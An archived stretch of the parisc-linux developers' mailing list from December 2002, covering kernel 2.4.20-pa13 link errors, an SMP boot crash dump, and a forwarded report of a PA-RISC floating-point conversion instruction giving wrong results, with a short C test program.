Date: Wed, 11 Dec 2002 14:51:44 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
References: <20021211035731.GB9521@systemhalted> <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie> <20021211063321.GB10185@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622014 18535 80.91.229.3 (22 Nov 2014 02:06:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 06:52:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6591C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 06:52:12 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gBBDq4b02028
          for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 14:52:04 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17077

Hi,

I'm trying to compile a kernel, version 2.4.20-pa13. But I get the following
error:

ld -T /usr/src/linux-2.4.20-pa13/arch/parisc/vmlinux.lds
arch/parisc/kernel/hea
d.o  init/main.o init/version.o init/do_mounts.o \
--start-group \
arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o
arch/parisc/lib/lib.a
 arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o
kernel/
kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
 drivers/char/char.o drivers/block/block.o drivers/misc/misc.o
drivers/net/net.o
 drivers/media/media.o drivers/scsi/scsidrv.o drivers/cdrom/driver.o
drivers/vid
eo/video.o drivers/gsc/gscbus.o arch/parisc/math-emu/math.o \
net/network.o \
`gcc -print-libgcc-file-name`
/usr/src/linux-2.4.20-pa13/arch/parisc/lib/lib.a /
usr/src/linux-2.4.20-pa13/lib/lib.a  \
        --end-group \
        -o vmlinux
ld: arch/parisc/kernel/kernel.o(.text.show_trace+0x58): fixing
R_PARISC_DPREL21L
ld: arch/parisc/kernel/kernel.o(.text.timer_interrupt+0x88): fixing
R_PARISC_DPR
EL21L
ld: arch/parisc/kernel/kernel.o(.text.timer_interrupt+0x94): fixing
R_PARISC_DPR
EL21L
drivers/char/char.o: In function `hp_diva_check':
drivers/char/char.o(.text.hp_diva_check+0x60): undefined reference to
`rs_interr
upt'
make: *** [vmlinux] Error 1

What am I doing wrong?

Greetings,
Tim



From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another kernel compilation error
Date: Wed, 11 Dec 2002 09:54:10 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20021211165410.EAD7015192@paul.bame>
References: <20021211035731.GB9521@systemhalted> <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie> <20021211063321.GB10185@systemhalted>  <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622015 18539 80.91.229.3 (22 Nov 2014 02:06:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Tim Kemna" <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 09:54:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A91C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 09:54:18 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 7E34520D; Wed, 11 Dec 2002 11:54:11 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 3FA3D23D1C; Wed, 11 Dec 2002 09:54:11 -0700 (MST)
Original-Received: from paul.bame (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 27F494036; Wed, 11 Dec 2002 09:54:11 -0700 (MST)
Original-Received: from fc.hp.com (localhost [127.0.0.1])
	by paul.bame (Postfix) with ESMTP
	id EAD7015192; Wed, 11 Dec 2002 09:54:10 -0700 (MST)
In-Reply-To: Your message of "Wed, 11 Dec 2002 14:51:44 +0100."
             <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17078

> drivers/char/char.o: In function `hp_diva_check':
> drivers/char/char.o(.text.hp_diva_check+0x60): undefined reference to
> `rs_interrupt'
> make: *** [vmlinux] Error 1
> 
> What am I doing wrong?

Probably nothing but I did :-)  My Diva changes currently require
CONFIG_SERIAL_SHARE_IRQ to be set -- need to fix that.

        -P



From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another kernel compilation error
Date: Wed, 11 Dec 2002 17:57:07 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <952B7432-0D29-11D7-A153-0030656F07A2@esiee.fr>
References: <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v548)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622015 18546 80.91.229.3 (22 Nov 2014 02:06:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:55 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Tim Kemna" <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 09:57:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A93374829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 09:57:18 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 784C149CF7; Wed, 11 Dec 2002 17:57:12 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id E6CC849CE3; Wed, 11 Dec 2002 17:57:07 +0100 (CET)
In-Reply-To: <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
X-Mailer: Apple Mail (2.548)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17079

Le mercredi, 11 d=E9c 2002, =E0 14:51 Europe/Paris, Tim Kemna a =E9crit =
:
>
> drivers/char/char.o: In function `hp_diva_check':
> drivers/char/char.o(.text.hp_diva_check+0x60): undefined reference to
> `rs_interr
> upt'
> make: *** [vmlinux] Error 1
>
Weird I'm also having an error on char.o:

         -o vmlinux
drivers/char/char.o: In function `.L1757':
drivers/char/char.o(.text.vt_ioctl+0x51c): undefined reference to=20
`key_maps'
drivers/char/char.o: In function `handle_scancode':
drivers/char/char.o(.text.handle_scancode+0x25c): undefined reference=20
to `key_maps'
drivers/char/char.o: In function `handle_diacr':
drivers/char/char.o(.text.handle_diacr+0x1c): undefined reference to=20
`accent_table_size'
drivers/char/char.o: In function `do_fn':
drivers/char/char.o(.text.do_fn+0x8): undefined reference to=20
`func_table'
drivers/char/char.o: In function `compute_shiftstate':
drivers/char/char.o(.text.compute_shiftstate+0x90): undefined reference=20=

to `key_maps'
drivers/char/char.o: In function `do_slock':
drivers/char/char.o(.text.do_slock+0x74): undefined reference to=20
`key_maps'
make: *** [vmlinux] Error 1

same kernel; 64bit UP for a B2600 in graphic mode (SuckyIO/STIcon...)

I'm gonna investigate soon...
Mail me for .config...=




From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another kernel compilation error
Date: Wed, 11 Dec 2002 10:37:28 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021211173728.GA672@dsl2.external.hp.com>
References: <20021211035731.GB9521@systemhalted> <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie> <20021211063321.GB10185@systemhalted> <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622015 18552 80.91.229.3 (22 Nov 2014 02:06:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 10:37:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 625544829; Wed, 11 Dec 2002 10:37:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17080

On Wed, Dec 11, 2002 at 02:51:44PM +0100, Tim Kemna wrote:
> I'm trying to compile a kernel, version 2.4.20-pa13. But I get the following
> error:
...
> drivers/char/char.o: In function `hp_diva_check':
> drivers/char/char.o(.text.hp_diva_check+0x60): undefined reference to
> `rs_interrupt'

Maybe you don't have CONFIG_PCI=y/CONFIG_SERIAL_SHARE_IRQ=y?

grant


From - Thu Nov 08 21:25:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] smp crash in version 2.4.20-pa13
Date: Wed, 11 Dec 2002 10:03:01 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714FB865E1@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622016 18554 80.91.229.3 (22 Nov 2014 02:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:56 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 11:03:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8F144829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 11:03:40 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel13.hp.com (Postfix) with ESMTP id 212E8400E61
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 10:03:36 -0800 (PST)
Original-Received: from xpabh1.ptp.hp.com (xpabh1.ptp.hp.com [15.1.28.60])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 98D82188
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 10:03:15 -0800 (PST)
Original-Received: by xpabh1.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <Y3Q3QH6H>; Wed, 11 Dec 2002 10:03:05 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17081

Hi people,

I'm trying to run Linux (compiled with smp, kernel version 2.4.20-pa13) on a
single-processed C3600 workstation and I receive the folowing error message
at boot time:

POSIX conformance testing by UNIFIX
SMP: Bootstrap processor only.
SMP: Total 1 of 1 processors activated (1101.00 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x0)
All processors have done init_idle

Stack Dump:
 104588c0:  0004070e 00000000 00000000 00000000
 104588b0:  00000000 1011f2cc 00000000 00000000
 104588a0:  00000000 00000000 00000000 00000000
 10458890:  00000000 00000000 00000000 00000000
 10458880:  00000000 00000000 00000000 00000000
 10458870:  00000000 00000000 00000000 103a0810

Kernel addresses on the stack:
 [<1011f2cc>]  [<10108c28>]  [<10120f6c>]  [<10120f6c>]
 [<101213b4>]  [<101213b4>]  [<101001e8>]  [<101211ec>]
 [<101001ac>]  [<10125f7c>]

Kernel Fault: Code=15 regs=104588c0 (Addr=0006cd00)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000011100001110 Not tainted
r00-03  00000000 10362260 1011f2cc 100ac000
r04-07  003a7000 00000001 00010f00 10362010
r08-11  fffffff4 1039c810 00000000 104585c0
r12-15  00000995 ffffffff 00000000 f0400004
r16-19  f00008c4 f000017c f0000174 00000001
r20-23  10362270 000006cd 0006cd00 0000000f
r24-27  0000000f 100ac000 00010f00 10362010
r28-31  00000000 000009bb 104588c0 10486010
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1011f4c4 1011f4c8
 IIR: 0ec01093    ISR: 00000000  IOR: 0006cd00
 CPU:        0   CR30: 10458000 CR31: 10460000
 ORIG_R28: 1039f640

Anyone, already see this problem? 
Anyone, know anything about it?
Please, help me to found a solution to this problem.

Thanks in advance.

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smp crash in version 2.4.20-pa13
Date: Wed, 11 Dec 2002 11:06:11 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20021211190611.GF19331@tausq.org>
References: <9A0482A7BD2506488AD9417C93F3714FB865E1@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622016 18558 80.91.229.3 (22 Nov 2014 02:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:56 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 12:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 136934829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 12:02:07 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BD1CFCD64C; Wed, 11 Dec 2002 11:06:11 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714FB865E1@xsp01.brazil.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17082

> I'm trying to run Linux (compiled with smp, kernel version 2.4.20-pa13) on a
> single-processed C3600 workstation and I receive the folowing error message
> at boot time:

Again, you need to follow the info at
http://www.parisc-linux.org/faq/kernelbug-howto.html
when reporting things like this.

Especially the part in *bold*.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 14:13:06 -0700
Lines: 109
Approved: news@gmane.org
Message-ID: <87wumggsyl.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416622016 18561 80.91.229.3 (22 Nov 2014 02:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 14:14:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96D2C4829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 14:14:28 -0700 (MST)
Original-Received: from spampd.localdomain (localhost [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id BA1D2C24D
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 14:14:23 -0700 (MST)
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 83654C24D
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 14:14:22 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 961A943D82; Wed, 11 Dec 2002 14:13:06 -0700 (MST)
User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-pc-linux-gnu)
X-Spam-Status: No, hits=-0.8 required=5.0
	tests=OUTLOOK_FW_MSG,SPAM_PHRASE_00_01,USER_AGENT,
	      USER_AGENT_GNUS_UA
	version=2.42
X-Spam-Level: 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17083

--=-=-=

Forwarded from the testdrive.hp.com folks.

Bdale



--=-=-=
Content-Type: message/rfc822
Content-Disposition: inline

X-From-Line: TestDrive@compaq.com  Wed Dec 11 13:15:24 2002
Return-Path: <TestDrive@compaq.com>
Delivered-To: bdale@localhost
Received: from localhost (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 60AD043DF9
	for <bdale@localhost>; Wed, 11 Dec 2002 13:15:24 -0700 (MST)
Delivered-To: bdale@ldl.fc.hp.com
Received: from localhost [127.0.0.1]
	by localhost with POP3 (fetchmail-6.1.3)
	for bdale@localhost (single-drop); Wed, 11 Dec 2002 13:15:24 -0700 (MST)
Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by ldl.fc.hp.com (Postfix) with ESMTP id 58DD04036
	for <bdale@ldl.fc.hp.com>; Wed, 11 Dec 2002 13:12:18 -0700 (MST)
Received: from tayexg11.americas.cpqcorp.net (tayexg11.americas.cpqcorp.net
 [16.103.130.96])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 69DCB23D83
	for <bdale@fc.hp.com>; Wed, 11 Dec 2002 13:12:17 -0700 (MST)
Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by
 tayexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966);
	 Wed, 11 Dec 2002 15:12:16 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
Subject: FW: Some issues
Date: Wed, 11 Dec 2002 15:12:15 -0500
Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B0194EA6E@tayexc13.americas.cpqcorp.net>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Some issues
Thread-Index: AcKfxnRGZniP9sAtTxmqGjoR7SrcmwBinCiQ
From: "CSA Test Drive" <TestDrive@compaq.com>
To: "Garbee, Bdale" <bdale.garbee@hp.com>
X-OriginalArrivalTime: 11 Dec 2002 20:12:16.0184 (UTC)
 FILETIME=[99A36380:01C2A151]
X-UIDL: oe+!!;$F!!lUp"!S/;"!
Lines: 53
Xref: rover.gag.com inbox:59993
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Here is some input on a Debian PA-RISC issue.

Thanks

Tim

-----Original Message-----
From: Torbjorn Granlund [mailto:tege@swox.com]
Sent: Monday, December 09, 2002 4:04 PM
To: CSA Test Drive
Subject: Some issues


1) Could you please set the clock of spe190?  It is 1.5h off.

2) The Debian HPPA box (spe170) seems to have alpha quality
software.  Specifically, the FCNV,UDW,DBL instruction is
apparently trapped, at least for certain input operand
values, and then incorrectly implemented.  (I base the
assupmtion that it is trapped not only on its incorrect
operation, but on its terrible performance and that kernel
time dominates any test program that contains the
instruction.)

Here is a test program that demonstrates the problems:

double ull2dbl (unsigned long long ull)
{
  return ull;
}
main ()
{
  int i;
  for (i =3D 500000; --i;)
    ull2dbl (0x8000000000000000ull);
  printf ("%f\n", ull2dbl (0x8000000000000000ull));
  return 0;
}

Compile using:
$ gcc -mpa-risc-2-0 ull2dbl.c -O
$ ./a.out=20
-9223372036854775808.000000

Correct output is 9223372036854775808, without the minus sign.
Without the -mpa-risc-2-0 switch, the program behaves correctly.
I have verified that the compiler output is indeed correct.

The program takes 2.7 seconds of kernel time!

--
Torbj=F6rn


--=-=-=--



From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 17:03:11 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200212112203.gBBM3BRZ021171@hiauly1.hia.nrc.ca>
References: <87wumggsyl.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
